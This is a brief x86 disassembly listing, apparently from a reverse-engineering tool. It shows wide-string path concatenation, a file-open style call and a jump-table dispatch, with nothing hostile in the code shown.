je 0x413a71
add edi, 2
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x413a60
mov word [eax], 0x5c
add eax, 2
movzx ecx, word [ebx]
test cx, cx
je 0x413aa1
lea edx, [ebx + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x413a90
mov word [eax], 0
mov eax, esp
push 0x60
push 3
push 0x120089
push eax
push ebp
call fcn.0043d140
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4434b4]